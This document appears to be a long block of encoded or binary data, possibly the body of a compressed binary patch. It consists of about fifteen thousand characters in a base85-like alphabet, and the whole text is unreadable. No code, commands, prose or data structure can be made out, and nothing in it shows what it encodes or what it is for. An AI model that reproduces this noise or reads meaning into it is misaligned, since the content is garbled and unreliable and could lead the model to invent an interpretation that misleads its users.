zi4KtRbX6eOy(XQf-ZWH5{n241kg}wkY$#g+#CD{2l;^e~Q(!pbn1qc-?YWS_hM>gb zb>wWGLy&1@4s)Rs1zYr`7rRtU)Q~ zq|1jiqY>+>#l#z&lu3z{NlBwqut!jyU~K&hmS?D_L@5nx#sN_lCKTmx=JJK^h|=bP zwySr+7YW@rUjJmrs3@Z!*J)Aa9GpOu!(&9rNuhfwN@lUM9(k1*QBpLQJCTqQk&qIR z2u6_zCPN~SMw}Ma9}_xF+d5)4h9KV`1{NF(v3b~{THF&8s$cEePLA(BO!M7K#P_b+ zQ*1*qa|}Bb`8n3{la%n2l<-q9@>4JjWh9^8!^iiBAnVu@`)QypWb^QLra}G^VpO)v zS2O!$dM4z+iKHgd5~xfx-Q<8y1LXEWqO}q;`y{~UO)0l?MM#-?1eB)+fK!5n424E4 z<_B_~AYM}}axd9%R<%#hXkVJy(QnTJzFx!J5US&%+5T2RMf85~qDexAi76$vBhv8W zi<`p?ZqEnbT<~>D&;VE_%NT>-=xL^a*!>&3oPArd46EBjrdR2Sos%ZT9BTGIjpljW zmua#PA$-5S2fp&+GKNQGF?nTUY(acgHWVrOv=C0xrUo~8Hfc4RbGAUXnM0v*t$lqHZ+HMi_#8z87_D zt=d4jG@?Jtdl_%Q7tpmO`8;CE>_x=6h<}NgTKST83L6Y1Z)u2m>J5ke!BDc^GS7ze zf~k`3U}%V7cp0cEPfc{#B!|^FY>mTy>##Q+_L0LrahS1$jybt{YKea1jFZ|J=4E0P z(e#d#h0Y@AWu_*yh~sgV!D>7$VgQcGwf^`WjUR(OAGCrSP}G`|%$+48tjd#?kfQd5fgEfM zgim7(r4V_*~qYCDptIWZQJOWXuoC)nd)&Hge@ z1mDxyJnU8H#BYptw@!eDMw1%%=)<)3zmaIT>98&;XX}|q;~wdmS&*-y){@Jy50046 zMU5d7+0bUFG`{m0tqIG4kdhjml)SSO>=|>`QzKD?V51DBYxxZJ{9moe&16lF${mLz zUtN(ETjwv$Y@a@C$MliBx~uw!;Zd<%UW^zkn8F0yi4OL*DMn5@piR?7o}kZ0A1mnS zs3pM(q%4zV(0KmiE*8^(i^?v+ODGX(V7Ywj=>o78_H~JbJy?%*)79~w_`-;T3rB!T zQNB8y4;;^-xIT+?VFFQZKwcRLHPRpi;t zXf0;zM-S_)NqBTH67m_z3ltZ_3sw$%5I!@{xr@j%v!OH*rx{!|up0+qA|_CWY0~`> z7a0t7M;l2zR~tPg1_j%wQ)mpdl_DO4n6mmIGRs6dQsVqcNz+KM_e?sEoYpx)icVP4 z(dA3Je22lI7_8c1=Q#{-DNNpB1kxY#*- zhwn(cjFa=o{5UI99@0toqjztI6q(syCs6R;(SoP1Cndg~l&s(?*fw((v!U0piP7=y zI<@p|mX8V0J1!>#&g%V+S!Cj=(4(2h7symXB75{8fxh6qN62)2(H!jS+8 z0Sze(GNe#5WCq%Ly{!2l~T;eC(ma{hDJADPayN*&R->Z<%yGX3lp|KyY(1zd5l#E5Xm4 zXkX0MLST&rHDfA!>v*kUv7i8BZgz|zC5$2Esc+y`1-r#iJ!Z_0QNYq9T9esHYh0f} zIwn!O3ZBpmTHjm4I=~nf3kopkCdVLB!XQ$fqP_@rm!b9Pmyy4VGX{E5L_n6&^gHHRzPyR^^ls8N`AD z47$}Zh?FphlrTszGDxraFo=}Y zT!OLY60C;|x)KGHB=JG?krLWwom#)XzTsSaNoFa{g#Nhq9yRx<7tGx0!8e^~y8)!+ z!AW_l9k(Lb7DHi1JGS($)k`_FXSXj*+q}@*&Mw*e_~qhf1INPrA=oW=0w>Q6^!9C@ zAvo7E*XC|pIU~}tV9mznwHOzx+c>Mfxdm~gX7R@6mdM$2BWGj17i@;HvH<^VGC`%s z-xkkm^p@z`nCBbVarHT!bnoGU%FsVDWwD}e4*oE&BFGD z8SM)*<8l$=iU~n3?!ejB02gf@4oYpGX|wNL_Z?e~ZPWP869vofM^~@5_RLd zvq}*&`+3L)(g|V9K~lm&Ql9>>NU&d+bQn7+-1;C6)Ux)JEgSJA1y>ls%((V)8H~EE z_O@FqS7^TWukpY2#(@hMwu=em@IWAG_;COwH|DGipvam#lJ1be`5(PbfWs#;!15&G z;2RKLlh-&3zb`JpKOJHu)aBfUMbP_}2rNU)prUc@q)DAIEv28ACD8PvJ88PyH*d#| za4~aGN-u{gr5linR7ic*P@et*TrjR4L&`6ui`$TJ%YDq)e(|OH|7QLFD*gW&{r`IW z?|8UdvV(Ju2|?LSiaFa^cAVJl4?)?zg_FT`0(ecz4h}$lq0eL|%LT=gpjk+W6Q{Q) zlH=qqqn4#L%f zvrw6b=a0khOLOs0hZxJTeU@aaxh-gDz*=!w&5eY%k(*9TU?XXPH#_6Oxw35D2VTCc zs)*E9!AI&hD7-KG28FbQ&Tmlc8L=@d8?J0e+3-e;Z0w>^ycphKxQqGbbXXp;OwwcV z{)K(LTmlHEr>Hi@SdpXcSj1-_rk}kcZ2c@L@w234rmA4~nsnGX%TOWpxWnFa*hdaK z6B3iWD-ESTfJ?a-qd4a6vfo3?*KY|LQuYZ@xDLUZj|11ixfM3gkvO+}k>pc*IooL2 z+WMI-EseIiYp6RXf-j}xp;~X|B&q>(JK3bYpQvwT=Aa!O9k!AoC6XZ}J7o&?0*VsM ze44-)FQWj)Uvx2>XM7>Z%I!E82{a;Xo-CYuJ!~_#C3sJJ+G&+b*0k2IZ(h8nswq;# zk^f1P;((fEi1AVh7&&Dh?C5r3-xsRom~czC z{@qahPFuRsD=mf;M0lh`c%(d44lWDE*)M|if$;E}1k0LCx5}<1t`GPURuZr0Wv(FHbZqu`32;7Ez!NO|gHa9FUZhUyd7*_Gh3_q*Wy-!}J^;9|t>jS}Eg~E;xZ2sbJWv2E(a6Q|RBW5wF?(CBwyQrB4=zhGW7JR~O)VdP9 z?I^PE#g1ZN8#OAy=}rkqi4u_VxYC0@8&aDL)hCUe>rvRmBub$6s}jWY1oopM^ys=; z84_-A)?H;_UyjNU*x-!Hu*N9^DNzPep1J~36O3yl3$`CT!odBe4E}CK_w+#TJk~3Z z(4%W=B}lmSSa+3xeL+2RG%{xBh)PiAlz@~d0V(kag3%)g)(1*(B?=p##3Q8dHzn|Q zQM#uD+!L%1fvoNwjVsf zC-L89BppNUsS-q6-`!CH*+;8ap1|LU=4BH1H|2Dj1jsHer5YGBT@QuQ6aPqT(@l2cN0GxX}zBY6@ zV<2W(db5$ng`GjoTi@n9L-1kz5O=?WFtwpSm>}y&KT+O!9ch=;O(F2@lfze+yOE+K zno6%qz(u3efQ>i!dD!HH_4SD4l}Ta2L(1(b3p#_+2}C)A=YpG5p$P!L~5kj!ed_8 znieS$5GhZ+j8uZXW+)MmU=)y~>jMG(2^ZL$L_iPrp@7VO8*wGnjSV;URz#gP+vtgq zPKH3F79%A>BIT)9!8yTxYbaS!STL?BCh4#ez@`h+)cJ$nMl$XS*njDsiF=+~v7KMx zCf-W}vxH&-Eh`mB8h$97%caGH;P?LXkm%BYU|A;1K+jrzzuabzd56$t6D7fx8E}>f z&S<;q_GTKxd$gH`w7sI6X$W(AxtYdr!=UJ98dRXLWgBAhlU7b^FEaSCn7&0GLjl^@ z$UGkL5X7h&+jv{p20=HE9?;FB4M0fA*RP~JJqb^+f0?tM>JMoO#tl0q9Vc7}#+Ofm zEp!;SdJ^o54*Rmh?snLZ9kwT5w$Rv46?+B~GvlvJ$%pcXpv#ZfHnw>(kny|aHuv5u zUhGa7M(1Kdt!@do$H?f$yqCas7*;$5>IQpuV^Eg|gAbDdtaUhOoPo_s_V>EWv z;R+@;;s3GsCGb@h=i4XAO$he}vJh5L0|Z4y%?3#T@rH!00){P!2q7dlECv#j8^He6 ze=t%_Z`0aZTkURJ?WQf=#9G_3xInFnwpF`XZEcI@WLvXzL$L0?wVSK zSVW1Z+XF7VNAr!x3hn5D7X?U4!YJ%=nw-?tPWL{OP{+N84kK|m%5~NSH>t_gfxn6T zQ5`t85$^F5<^lJv=X$0 zXNw)O*sB)12-1*nJPDYb->I<}_w5tx1k}#Ne$-C){DZBXZcxO3tgQ#Es-2@v?Ht&#d9>8c)@!nyFfOy?GO{2O8yzO9K0z1NR!*{D zxw=SI+i~D36n8$jWIR37nFOx;syqX}Zs)DaLANJ(Z&e(&ha)u;gtW?2fCM^e#y&aa?e9-Gfit@UicS9xkZ@5x%9hu^Y()Ot*F zSy6#kb-vp(FT8dB{LXbg`#98j*Lf7)I&T~BIe1^=m+p!^FuJ>|&UAZ^5P-f`(^m^X`92qG^DACSi`AT*RC98E=f@WNiRR?sT?zND z#g2mx?XADd(yPGlk#jYzJ0{D{TgolME&&W|d$x zs{}g%nfcBlJWaX2mt^_?!nD^>W(k%Pswy0n-I-R7pO9`+p`pU%S^WCoz7BVNj%GD9y!T8a*}z1G4lkA zl%$A$EsrF3EKF8s4ae@-?^drE7>sdV_1aYpH*wggjGbws#}vw5zo3rUrVyDKbFK2R z+b#K1I@!-A365Pa;MxM8?I&}Q&hFCM>GT%96Srwi05$pZJD9q-bbb%Ycl`q>@AQKIE4sP9Uh29rgy0$;>uPk9sDsw0V zN^__dl<&S)*UiVQEXj#1$;r5{U^Hh1^FdmIQL2J*2177PRj{sfYV20%?s{p;C?2Dn zSB`%H>Rlyb;!w}LUncPoYWZ^PF`+(-pE4yXoNh+qyWCaWR?Mz;!|Hag^S+JMEMEWN zo=>0SZt@AZ8Nx1G7iyHiOpw_T#3YVEyhBLxaQ^46I~mxxoXO&&vF(R?G&fV{9ry@f z@(A`rs6un_Gmh_d4|J-#Dg3$?(;c9^@i(-X?!dkXGWJML#6-@|Baj`zKCL;w^D~R> zwip{g3CD^jar-T%RNTUQezjXnzbwIXm5Zray)G&!ZNSN}II?NVl;a^?wWBq<>SanE z{}JiRBkWLtSG?Z&;6u=!%$AoxDc+a0HsvlqB3^PLUUGhiBS?aAwWMJGwAkAgD~CiR z+!D=UYsq=pK4s!lG~F+99SC1KCWy{kC!YaU=P_?g9MXr6pRj8}b)j&`an;bM44FJ5 zLz7h2P&44WAIa#swwhxObj@_hPMN6_@BriZUfy+EN3`%>*FwAB3XPlyjhr-rg0Tq{ zEDK^0j0#h*d-%A$xODChcDKxeBTa7Sl@1N2Z64{EIF$Q%3}}dJnO0Y|aZOECWp4hY zyn>v<;_9mEP)>FA zg`7PxW)sgknGBt&C3|sy+aJOWtJ-f--%l$F}I8{wp6d6dmw14 z4>^$pIlsehm0(Y5&hM~OAQ*L`go{dI2O7Vw7rdBU#f_BnO5#zVSM?x?ZNlp>!#gIZE!)x`ER|lvMJArf!fE zsgUzK?B)petmdSHB^b4ogo{e$&xqH*y1~ZFyS1XJPt;OhF2_IRqEac&3*{CS4XV9X2z zP|ixAU{YvOVR3$8LEf6$f}&7)3z zL%uVzJKtr_HA|?)=QU#0V{P19Z zbN*L&f_FH?|eV!#%O_$Hb?#NJ9R&au+q7cjUZvoz3t!VM{4GIK7s!be$cYpLqZ9A#)rBFq6gq3AzVtap2aiE0j2t7B zF6+i&yc06gw)%-$L%oF9qM^v?x&co59D+UTpdKhJi!}mVKz)2DSX3&nz~?_BmCtmR z3XI#rqEKPp8q|)-MYTCO`PHzystfWl_>ohT*GpT`7pY9e>-4*-F!Iq$|Usib!*E#@v#oQK^C`GuG){I?8gCW4YHI>1ozAow>)cr7>8~y#)+bH1N;9cda^CY7~0*Afn`8) zX5K*^QG|icMzvu%zXnTD&piWSW~L7X?;hYZ1K8<^p9Me6TU6H8H*Tz|v%!;9bpDG& zWs$>Z8N6{6F?9?FPOep6&tn64Gi3UW`7&h6TsJOytE_9|)y%MKWG>SQ*tw19OAGCYVjiapaHJ^FdiQ zE(SdvbRj5gTxT&TWokwU_Xb(^ZvjG1w#+BzcV4m>wV7aSCnOx(3Bgzk1miT9V2drb z%wq3Ytixh~coR2ObNG(eViPP@5ea7}FXIaF$Tg$GBOsAk?X%O$J2t1K?wsZ8*qmJ6Fbyho!#AFRxFI%o^QR?pxNeIkTf;MC4Hw zpfZ2gsy#k+9zp~;ndw}HSB{++a97B+@TD__kprI0bYA1#u;aftAJ z&unPMO}rJ7&tzPtI&%^4~_jm|3W7VMIy~sN*?PR+8VZ1GEqIe5~(Ru zb9`M@&Ebfho5O&W4GWt?jrtsxCUuh$fCs6YEWt$JbiJUwQiWR_t_n9xFwUx%s9+-y z?Naq6+bfbtX9d7zU)7lBRz zT@E@GbT#O7P|Dd1Ab$^o2vSMONhKvGl~gcRQo%BiG{Jc4g<$x|R%3Y?9uJBedX=5N8p!J9+{oi(U77)>8MOYC7ktE zDGNYc`0}NPI|j5jC0A(QSKCWRUq3-#ZGRbC(LACmCvLF;A5E=eq>e3_u!9At8CE&&csSd6M_lUy20&bkbz5z~rSu8 z_X_-?Wz0??`NnzyGuJPvbvzFv;!E ztzH$wH1poy#qZuZ_@|t;%#UI=K&zN;NB74#Y=pz3_)fMB>`9+=t&LcY*vP?zQQC+Z zVziND75(CrlKCcEOQ*7=>B>#jawwFF@-|xH(_LS^-GcW{@+IU2#s$s}oEbP1OX&yr zj9Kt$cm|O0i{xGnN}CPCZA*A>=Nz1AAN_uAUl4bSPl>-UB|ecK&<%0<-NdKFrzGUL z!QB!eA&;TW&nUjnAO;`L`NCvAOgoV%FZdbWFnsXK(!*Qv`FsxFi0jx~vn4~dLZkqO zMg>4U$$Q7@$&o;rOUytl+i+(ft&~#`f$k1?^SW3ro$wiQJ==4=PG5gWhi}o>4XBHZ zf2+&irINR5n1tn&vpO`b>IlGbR)=MGDCh*x;h?MsBS9|#9R)~b8>@J!B1;0pyr5(`KjcUZ$NGCBN!DbxqwrtIoWbcux%E* z)rR|`#o|#jB^<9`cMqnhQAT7CY5qV=Q*A#d0lnfyGKJHs4|kEw;{L zbrwTkXJPBr$VW29k@?97ky%du{K|($isrO>##g z6d%K6bWQ~8Iz!V%aBJJcVQn>zvf}I^-*BD=IeW;It^*B#)`5-&tp|n9aT-C-18oAG z2HF4`1U0jc&)`D78zd)R8Ikilzd|U%4roqB00ev1V#sD4jx%Et_iT&N)DjG4oDK)o ztTC*S(b!uSONlpFn&$k@K|IZg1d~y#2EqD?+kk!z`@ga(=4E79CbTh3L{*EJAFMms z_!$S?9^<^LGX4c$Z{09)M#As(878{50FGkbQ`e1d=QtB>T`)z6btN5-l+v88N_#r8 znrUIlHjVIUNLTNxW?b{5ENMg3P4Mmg_!vXKNW&z2caCW@FDDX!<9sRUH$mA7d>fSM zG4rUeKn^l;L{3JI$oZW+5lXNfnv?P+7|WN0`=br_ti{HlWJtL2n)5r;EEcpFHSt1K zP}=9ey^xCd!2UfxRBt3@np>s1iv&^p}STPzrdVVH~GHx0UD zRc1loCuMc9=yulCuMESncn($MoT^PVbs?+gOp=YB<7=>^xp@*8XF<5M3S&8SbL(fV zMEa_}usp#ro)<#{^T~9Rcqyg3M=581qF<5k&n~h7F>$@Li^WQVzsfB!>k}5hN!? zken1j!B_+Z`?cl*Y6~^NsKg{3r}qWB(PE#r7%G7dhvKipZM!Nvc|<(c`DS#4v(vb2 zmXtld@?|4!EWb^ zN2{{KW_z@HOp;o5xe%HIWwK#eedFb}a7hE^S1l@E)O0?`i;F{8y8^p;e$!eNmSx6- zB`+>cwfW7sz=O6(n{V246Ph9yC!v{wsD;4L%v2NFWH7_@t}|Ve;ATZA-x@~0yfqhf zGqp@1K=n54GcZjW)2SvZ=};l9{ZgDR+8l>Dp6P1xgSdfllryK=sc#B2h#q|Yjp&tg=}azBju zD9-P2&{HsutjKd|>I;VL4K&7~PQiv~4*TL+Y@)^7lL~f9A@%N=DQ`V}%C7P8xL64w+7i5Kw+u&LmF-$i*?5Mk6 z=M><46(+M&BD(Kgk zNBCuQC`JG?-3b?a=<)nrm8({+XuZD-RwT=^40%$Kf3%F9byk&j#hnJO1mz{kSqiRH zaT{&88^Dz*>dVHGi~V%QO$-JhzLDp@e1zzlxvRKWjJkHquIu#rI{8{}u30)9QiG`J>1GH}E%h z44=InMaQe=m}bU(1HYj&@J~70sXB_qKU&RoyS8V!wOkt2Ge-5G_C_GY=TxYrkV*G5 zIcCVh-A&6xypOB6RqBbE(09yPN|%Rx|9Cw4N@MNZ2VmTL99rvdWbVFty) z(2GJc!$ceTQH2eH)ZH90x!-(CJ#eGy--Ag)bwTZdEzV zNl^!2OH@34?fNFpJEtQC)5}+Yjl)++1;o@c`9mEfpGtDEe&|;L@_LoNHp7@7(bwP7 z{wSx)8UH)=^>?)Y-Ja`v^);0+@4ru9|3qK2AkzIzU;jfcouA{{HEg;=!z3(+?BKHZ z@O1)kFFK;O?*ly**C@_v5anUe%W?e(D9h3TP)hu9P`=6&pq~N#4Jb>|lc3)PeG2p* z(BFaX0{t^6rTHu<`yPJ*MHuIApx~XqgR#0GxRsm?w+eU2Cx~S?sG8`>w@)V6lH&?0t**QQPHygEi-OLg1(^ z1I~KQ`JFG?aJSiTcUkQF7WYG8%vrw zY%CaujRoVdv0xlF7L3Ejg3YnmJd5#Lx`U9Ij94A+xPhi@{w}m2i2y$lr0MAg_g(1p z=pb)45aUK^h8300J5a@;53f!&ao8e#ZoZ0!e^H&<_oaMVr*^wi&xe7bsOh+5U1O-K zCTc+Tq&YdY&EvhH-5R22iYtXlB{!Hpu&vDu&)4u8e_Pm>u`Soaz|%Ym&YM0n$}mSg zO#U(NyyhF14bm62L78t~24w=j0y-4*Hc;lZSzh>=pc!=_Cp|54($f-*x<|0*H5X8Y zM6dv)D&hFetYBAJti@ufJC|hpB71fpOs-g!x-(@aZsqXO*ZP;#)@M@__NDIhsREF& zr#9kK-n9v3**+9NHVxmqjE&NG%bjmI7B@D@W%wC~GO8T?=vWj3pu8qUs+2SST-afZ zk=MZa5x`qic~8b=52}71{wWtNsx<|<_`0w#r)W}PZB<@z2w%GuOqx_%Jh>n*FR#e` zHIFW;Bc?DR;dSd}nM8)UC8`%&*)h0|bE?<%*s6O61I!CKY8sKPD4(K-``G|80Pj4M zcOHYrvk3m;^mziMRZXEKRcq=(WmVxS-3C#m=a_Jy%nPozhW2o>HI8Pch3p1U<`J*i z1k?su#I|Zq#_5U4I4ZdSnG<-E|39iYHP20cW=6{7xM>3D=-Gzk`l;#WJPC zB5!Z+Xiil2eWW?%-oGK8dW8_|^%3Q89h=KKHU~R4r(k(e$L47rn~OT0!tx?nM%22m z<8bQkq&dw4%(|jgD>2)ZgcN-n$`_*|;0^{^BD28#65_%S z4BYyFU7~U0|KX3Z9MDGwQ+Rhe<9|Q=%@xb;KbXkwIQmHq>sK9SWD!)HKfBR9ioD>oTRp`5YEhZizPBHMxHwGAb!PVJ?>r_|4EV z7cIFb`yU80P)hP#Gtr-c6;7-cZHOJjZ#sV7T53dxT8brzW+O4)iqB-NW&Y|~YsRLT zr*@4+h8`hc&PDUBI31-^Ili#Vd|antlGXSf#*d9T%L5(PHM4viN|HMJGAOm~tDtN) zj({>hUk9B4`Zj0~Gy(DEg8D#LfSUEuFTzts1<1*$067^I5R7RMYzS(wV8b=%cP_A4 ziN(0Pr-b94{}Pu?jbJSn`X1(&oBOXrn7_xOL-@i+p+mR|pE{%+ zlopwuCs1f>r7G$?h*&7c!NKL;8Fy&aS~_Iz%w)5W%QJ1fvcSj5JY)GLj<%{vu-bNZ`Qfv+}Sznu2Na|DoSN zD~LObc_(Huvz)QzdQI0^&UeT;KQ_z#KB;33Xh|f?$w`)zlPnjESuWW3H5X7jy9&lh zV+qGeW5KYq`#}VC-h?RPuzXjH;>d$sTF-*Z&Ga+z`d%xyjFGe(ttrFPQCbP0yk_AM z<1Shey!$hkBhXJg-?H$YyvIoVs?ES%?AB)8Y-l#4wDHP@u-!U)#+B;2zNCEaH20^> zJ;shX&jnwvt!~18F;$IOYD=H>*s-K0)D&)PuEvgCXR6WD(~-_D+c)pl&%2W)|`~m5py_AUrNYG48@$B5@HU#VG2AYWQ{E$6H7C4uxQ~13OX>LgNmCu>2pOipTRLXh(m_s2 z2RSJng0XZ6#?m1eONU?|gwoNQ?J?+tmyVd@K>AWV%1@f@VGa~w3S7m5w#OJ-I><@s zASbqmU~FRqqwOIW+Ze$<2&JR9mgT)gcvabPrbPihh(1oHS(BM?ZVB6WyKQlANst zMa2d93r(3aLv@t#h>5uqxlLrRo!){IT6!|@og_yD*y&9`-kFXsQ{gQ^D{KiOCnboS z-1BBUqKiJ_x0#H$7B&!b*|5SKPM(lsmaEdT8Pa?LE6okoyo^ zrovl-F0>_xoRlDPqK5=ySrUwTNHCTq!9EBjs1d1oss}x^@`RNjch9+RC8$pg**hmq z1-Z{@Wh&eSNLkABZ3!YLC5W8gnFFZ^HcxYYhx=0scA3Tg8%ofTe)OaIXA8OePsgzY z{o{mov)n4Ex)l2h;m4IEOhu;>w8fSna#DiGNeL2+B}g!qAi-FI1p99&LCa2<4s!Rg z`ci^&CUS4-UXAGoPnt39K8KH~=v0EX+Y&@hN)S0IL4vUa3C0p67)y{~AA}M#5~=a- zT6ji+AEZ6|gqjs@X?O4qA#pSH$CPxIcAb?r zIgvIwze5=d_PXZ$4rMG@0`gbFeGsJ0waMPo7~Ikx(2siU?y2-a&;w3dwNA#%xjP|D ziA&HNiJxJmOirXs&d(2blyAU!MRR`V-xhn{Vjl!44}_FA_s|EK4HHOQKStvFAmXb} zsDWorY^Ua?VaKPt#EKWCWQSVGk`u|2^E?00z5%7T1$)b4?`TdPz{q#w#x_r8;>ayORY9&feBudWDPc4;ifFD^Z&aXB%m2hubtT&0C zh*f(-A<>@fX@5WJZOq(vA4D5Ep%vHN?GE7W%=9-?;Sw>VL@A$PrA$twOipZR!Dwd* zMx88JhsAo6@v@kvcUxDL{iwGXx#@#!?>wp1mQQ!floBmKe#?4Faw1W3 ze&;#u8{kLMDx65rQUt@v zo-fPF7)iUanwo{7Tyx9i#k}UtQ6!Z!{@yjW6Cl?nk3Qx-d5_cao7xY#Uc6>Qs5;yS z(cXjQ z#-+K%^tpsj*$=d`CnvHe=XajhzVe~0VE?q(+nW3Du(hiCA$9kNY9D0J4N1C`{eNVo zw7XNh1~2CxEoDkPQvR@&GC7elIkB|_qpc+vZ7soQYYEny&OQ+>b8i;)zxy%%;U4wu zgOsyIoh&K8gO_uUXfh=pDc@kFOirXsPNXatr7RewEEuIM*atz%Y0%(3je9KVPhH-$ z)~+wIgu_ok*;8ru3(g|V3e+4kZxpFinP(?k+hCQ z$z6RN!xn1MhuGTE9*X@2ybOqOXK2Q>#NMxCye+x6rRMi+-qB3nGXcMG_#N)LHqXKV z$7`ypFNYYbHq~#sa$|jSQ`V-cjiIInoRoa#lqqG)8rO$Iv#R(JOJD4Z8q+y3B5Gg>g%<2>G61T+5?QqCY!0#1%X@dq{5qy2Q};O8rh0F zL1V#@ld?fhMmz<39l-?a&|JWw6)aer<^oQ;#d^~Qdr*`?Mt*_tI2hFhJ#2N1>5Z>W3KHZ}gegzqb?M_Z4PtNbW3DF8hT_9Kza#JwB z=6bi^9yuDRYyc!67&ku>?2{I|*1Z3^miEip(-dkpD|8(9 z-bEZKKtEME6aR;Q=B4zVUjuhNZdU5~#GKFMGfu~Ei`s<=49+mx4CP+mm{ncB$$Z+H z1^b|}N`2#+f^VW_=a$M!+4B$WEjsITY3eI!nm6VvY4YOYFcfCDQm$-LA(=cAQj*HB zu^~6vfdFnZz>VIyYZsev6H_(k%1>f)Q+;fzTv@9^GDA#AlR5PFepefPKEK&ci`kir zZ%Tw=n(@Qdf_MWWe6~S0DTL2p3K*sqX)jh=DFbxo096(UBmH0sTcKMtC;J=_^EeOSySU-VS!C3Q`6u-99tamp0z{KJE&p%|v84>_N*?_&3@0k)X&5f1hb;t3up zDtKiBHVST%!ahX#^51y1vA78_uSy3z3Gs=hrp7g9@{jrYH1->y8o5m4YoG_n zR)YpWYd{Bq)`C*itOaF4ai12}|Mj3WGA{?EI@t(HIc)-EalZ{}Rg5ljqH4+conL6* zfU{R~e&;cZu`)Sr|9)?&|9Zj?9%36FE;)njjj zkcK&Y%i=7K8zq*cv*a)VJZy_wdcTJv6X!^T()#92-YQmzSUByoh@qnXEN@at&*`y- zvAtLqDu(VXAe5PxZV$vW)*m)1TbzV&V2)dM@O(1-o*9gg?@Guqy+Piv;qb34{^ zI?9pta1fsBon0|;PJ#bd7U7?AG4;^Z`RaPiW=VPFjFQDOr}1#+xff$uDJo_;ta#Y) zQd8L4{Y_ayU9@(msA9}RGMEMydG{F1jv(IFmy+OgGi{=xsDCt-OqZLn*eda%F57#k z4sG|N$G&oaiZo2Z{NR?R%(ICE;GS@t7E&|-Eg7J{1!Y>F0%e)x(_{}Ea(!q!JR635}eUG(ld@5+l201Akqw3~c*05z3CkmsrudPvvY?*@%@$cc2w`JJC4 zv|uy}1$)13-=}C8ClmCYrOY2 z=XVE9&XbdzC+By5j+_x}kLF-1A-@IV=$M4-Z_e}nbv@+#=Z-_pFDse5BsSwKjwRz6 z*`4vK)#`7~KZsnG){30uJUKu1vqB9~*lx{9&I`tzmvH~7od4$W$a&kwm?Gb8)6$nB z?`k5Vwr+oO{zl}jW0@C>IWO4Zj*{dqm3$(ixt&+Z)96^~DfA|e z4}Qg^CU#8o-c84AhWaMoEUbaGXY#t+B{YdKvu~`xm{s$k|Im3Mj7f;2#uki4$0$_( zo<%T65ZWyczEe(0tn%kL0AL>Q+roF{cmRSp1JLIeagY;nkn^i!s|EXk4(E3=Aq2rV zsU_ifVgb&kgRNfT3+k;2z0GeL?m)*U(|INHDzJ4P$(T4C<;b4NSadOx>D4IrOr*Mm zCgf98YeBVLA?nKy-c^jcmxXHn@=1ntxlH>2j910QmoX_NooP?{2P?{@D3=Y z_B$&zaw0Wye&+%08*uh(&aVzqmT(1-nuI$ZQhO6msP92)8OJ6y&%~xnc&;hT6C^x7 z(Jj1AjZat7`wNOIvdH->D5dv2D5ZD5l^!{f9y!^KRj>m(oZl&e%mkaJIlpr}r1wue z!E1cE>)dI_EWK#;bji*&HF<($$0xdE=hc>7Ne-tAwjg_)kLY@b$r>fO$F1bZiR8%n z9d=&?dsK6NhqX;G%22``56QiSCwLeBx+SO1KtP!OY0FMik1pZ4CK*qV@c2ZR@cLBm zR_c1UO4qweUGIKurAJPrN6yc4nH<3$*PPTl!C3Dk+~JOG7k=Jp6U|Jid6mUw(%1Y@shyFzlW4YrXpF*NmG|(XNJ#;yv;;Le%Xer7q;R^ zv<-t-V6J+!J?$j2cg4!q`!n|<0VAh2`@)%$z>1jkwc-JB%@1`n`w%xv$Hhzk=JY!TnwNQbYb)`ErW=9}4pUqgD5H{EXuq zkK56z!y_Gr<&SkK6F=iV`zubR&`DLir%oO zdDAA$OPPrqPG7Qu^L8A|->0q@V5TG=VP>eqzC~tS!aN{ zaBfxPYG)*}iD5?|Wpwwe|0()Kg z{$ zAWlmd6wPkSRiHu87Er`(xfZkxl#-nZ+73D&^y{D(gYE!b2zozgA?RbEMWDY0T?hI* z&QuHnf|Zj7UySMkMEVI9n~)WX<^TixwLIEiLaB(461-yv4q3 zvF}*ydlvht#eQM2-&pKvi}iP~?p2hKt)3Rd2aFCkcW#=aSp17=L82X>ZrYM%>o?5_ zha1Wp>$hIHDAZJ6x0&l=bmJ1!uv|2`n})>~qknb>mHtUU1wY!sBtF4y#Ig0yF|P&6 z_niZP@0+dh(Rg99&?ssu;WSXzrmUc`;mC;%N6xQCBLsUyhm&y$!PrxhaIM81;e_tQ zH4stV&O3}m1+c~=E)ypieqVw%5qEUr!jx`#eSKYwV7}7bWZl3n1(SI6g5eX~g6TX@ z%Xjn6)BYG;RleihpwQ{gJ)nH|dqF9pj|Pp1$cc!^`JEqX-+;4IbAD$u1S8?HG^fn$ z#aM&3tbJ8VWJv43JDLO9P_9Thba?v{%~M$#FmXOiH+D4*oG*I(7pcUhF_2n95kMlmJz1uiX(Xj(BQBKYBnE+^~;Si_9ZcATr6x#%CzCLN9l6kUHlxSmnrtQDYTW*{scO zj@i==9Re5~Qn*D_p|H4#ajKQ>8Pt}ktuKdS%w6Qc(IZy}CS7GG zvly_-;zdrf%5wMK%h8g0VaztnT@}zNQz|R#a&xCl5l?kbKAy6n$nYE^vMcbYHbBSr zsL4~NOslKfxTdD6ve&cjmHjWhIOG!^&HeyPZ{;4)*HTR|P=nT-{{N%>_i6tx>+4_X z>-+Teqqw&H2{j0!J*WeCGI|y$J{wT(W3UjYd)h%+sXhtHgxv(nZttf-SpjbbMLN*I za$3fKeh!p1=kuUBpx*$^2mK}}`T!h5XjuSy7bsr@%ez#6V=QP0*W*CfgN_H?2>K(0 zW4(Z7*K$25bZ<)p^excaLH`AMH)tHf?*SbMx(}51JphWngX(8srEANxxE>1n7to2I ze*--i^bqJNptK&*fU0Jf<1W(AASe9{ax%^+7{?g};|8LF&9m5L7F%txh{d>2PvYXN zX&v`#7JJcRuUHIoN;=&87P~CoV5>EUBYrK`V6o3y?DH0@h7yuAuhpF2X|mWBi?v$p zdW+p;vCmrUYZm*4#eQh9ofi9*#ST~uQ^dZ#xazbHC=r<3c`eAl!_zyZW#aIDH_tJ# zW16;p8vL%o+IijC`NwV2m`{i?Cy(G&Sfz~PdwLChcCYDQ49fS19ixi#*r2f@$%z$7 z&hPAU@Ie5$fEsim=XbcHgYnB!JK|)GH)fgHqO!DQI!4SjjINzgarC33n3F+yjTESZ zvq97~DZh3Yps!#sa@0aO6Q3XN7z^q(_}q+}c;~D6Og;l69BNDl1TLnSMBA0VT0m;> ziGyI>nn20QexVBG!yP9N&HX540&wsP@`8&~Uq&n(Pp-0IS$*T>DgbQ+Dcpt1(%{>g z)z{|D-H~A@$X5%-q{%`Ao*^jL=4pvY!F(DK%H17QRzrMNO1zJ4z4_LdMq&@2{9vTT z414hop7z~*OTky-w-oA?WNnI?A=)a>R{tp%wnizSbsE1ITAAelO9)jfgyqnx^}%B3 